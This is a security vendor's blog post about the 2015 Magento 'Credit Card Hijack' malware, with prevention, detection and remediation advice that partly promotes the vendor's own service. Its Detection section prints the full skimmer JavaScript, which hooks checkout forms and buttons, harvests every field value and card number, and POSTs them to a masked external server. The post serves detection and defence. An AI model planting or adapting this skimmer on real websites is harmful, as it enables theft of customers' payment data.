Benjamin Hosack
7 min read

Our forensic team have just wrapped up a forensic investigation on an e-commerce business that has had a considerable number of customer data stolen – including credit card data. This latest Magento malware attack involved a malicious Javascript – recently announced by Magento on the 16th November 2015.

Magento malwareThe malicious code has been called “Credit Card Hijack” and it is injected into Magento websites allowing attackers to steal customer payment data – including all key credit card details required to carry out a transaction.

How does it work?

The malicious Magento malware is uploaded to a vulnerable site – the vulnerability in the case we just completed was Shoplift (see our alert on Magento Shoplift from February 2015); however, over the last year there have been a significant number of breaches involving multiple attack vectors (Filesman, P.A.S, Phantom, compromised plugins and more).

With the malicious Javascript uploaded to the Magento website, every form field on the website is monitored. When payment card data is detected, it is encrypted and sent out immediately to a receiving email address.

How do you prevent, detect and/or fix this issue?

Prevention
  • Patch your website – make sure you are using the latest version of Magento. This will make it considerably harder to compromise your website.
  • File Change Monitoring – make sure you know exactly what changes are being made to your website every day. If changes are not recognised, they could be a strong indicator of attacker activity.
  • Web Application Firewall – if you are not yet using a WAF on your website, we would highly recommend you implement one asap. Especially if you not able to apply patches in a timely manner. If correctly configured, it will also filter out the vast majority of aggressive traffic from ever touching your website. If you need help with this, we offer a managed WAF through our FGX-Web Protect service.
  • Malware detection – daily checks for malware on your website will alert you to files that look suspicious – such as webshells, backdoors, harvesting malware and so on. If you need help, our FGX-Web website security solution includes on demand and scheduled malware checking for all clients.
Detection

FGX-Web will very soon be able to detect the malicious javascript, however, this is an example of the code recently found: 

+function validateCreditCard(s) {

+   // remove non-numerics

+   var v = "0123456789";

+   var w = "";

+   for (i=0; i < s.length; i++) {

+       x = s.charAt(i);

+       if (v.indexOf(x,0) != -1)

+       w += x;

+   }

+   // validate number

+   j = w.length / 2;

+   k = Math.floor(j);

+   m = Math.ceil(j) - k;

+   c = 0;

+   for (i=0; i<k; i++) {

+       a = w.charAt(i*2+m) * 2;

+       c += a > 9 ? Math.floor(a/10 + a%10) : a;

+   }

+   for (i=0; i<k+m; i++) c += w.charAt(i*2+1-m) * 1;

+   return (c%10 == 0);

+}

+var snd =null;

+window.onload = function () {

+   if((new RegExp('onepage')).test(window.location)) {

+       send();

+

+   }

+};

+

+function clk() {

+   var inp=document.querySelectorAll("input, select, textarea, checkbox");

+   for (var i=0;i<inp.length;i++){

+       if(inp[i].value.length>0) {

+       var nme=inp[i].name;

+       if(nme=='') { nme=i; }

+       snd+=inp[i].name+'='+inp[i].value+'&';

+       }

+   }

+

+}

+

+function send() {

+ var btn=document.querySelectorAll("a[href*='javascript:void(0)'],button, input, submit, .btn, .button");

+   for (var i=0;i<btn.length;i++){

+       var b=btn[i];

+       if(b.type!='text' && b.type!='slect' && b.type!='checkbox' && b.type!='password' && b.type!='radio') {

+           if(b.addEventListener) {

+               b.addEventListener("click", clk, false);

+           }else {

+               b.attachEvent('onclick', clk);

+           }

+       }

+   }

+f+   var frm=document.querySelectorAll("form");

+   for (var i=0;i<frm.length;i++){

+       if(frm[i].addEventListener) {

+           frm[i].addEventListener("submit", clk, false);

+       }else {

+           frm[i].attachEvent('onsubmit', clk);

+       }

+   }

+

+   if(snd!=null) {

+       console.clear();

+       var cc = new RegExp("[0-9]{13,16}");

+              var asd="0";

+       if(cc.test(snd)){

+                 asd="1" ;

+         }

+var http = new XMLHttpRequest();

+http.open("POST","https://************/*******”,true);

+http.setRequestHeader("Content-type","application/x-www-form-urlencoded");

+http.send("data="+snd+"&asd="+asd+"&id_id=merchant.co.uk");

+console.clear();

+   }

+   snd=null;

+   setTimeout('send()', 150);

+}

Fix
  • Implement a solution like FGX-Web to protect your website.
  • Scan your website using WebScan – this will tell you the patching state of your website.
  • Apply all the patches.Magento website security scan
  • Update passwords – implement 2 Factor Authentication if possible.
  • Remove any unknown accounts.
  • Scan for malware using FGX-Web – if you get alerts, call our support team for help.

Review our blog - 11 steps to Improve your Website Security for more comprehensive list of security controls and simple steps you can take to improve your security.

All Foregenix FGX-Web clients have full support provided by our team, so if you are concerned about your website security, please don’t hesitate to contact us. 

Subscribe to our Blog

Contact Us

Access cybersecurity advisory services

 

Benjamin Hosack
Benjamin Hosack

Benj Hosack is a Director and co-Founder of Foregenix Limited. Foregenix is a specialist information security business delivering services in Forensics, PCI DSS, PCI P2PE, PA-DSS and information security solutions within the Payment Card Industry. Our technologies are designed to simplify security and PCI Compliance. Specialties: Cardholder Data Discovery - defining and reducing PCI DSS Scope / PA-DSS / PCI DSS / P2PE / Account Data Compromise Investigations. We are specialists in the Payment Card Industry and work with all types of companies in the payment chain (Acquiring banks, Processors, hosting providers, web designers, merchants, systems integrators etc).

See All Articles
SUBSCRIBE

Subscribe to our blog

Security never stops. Get the most up-to-date information by subscribing to the Foregenix blog.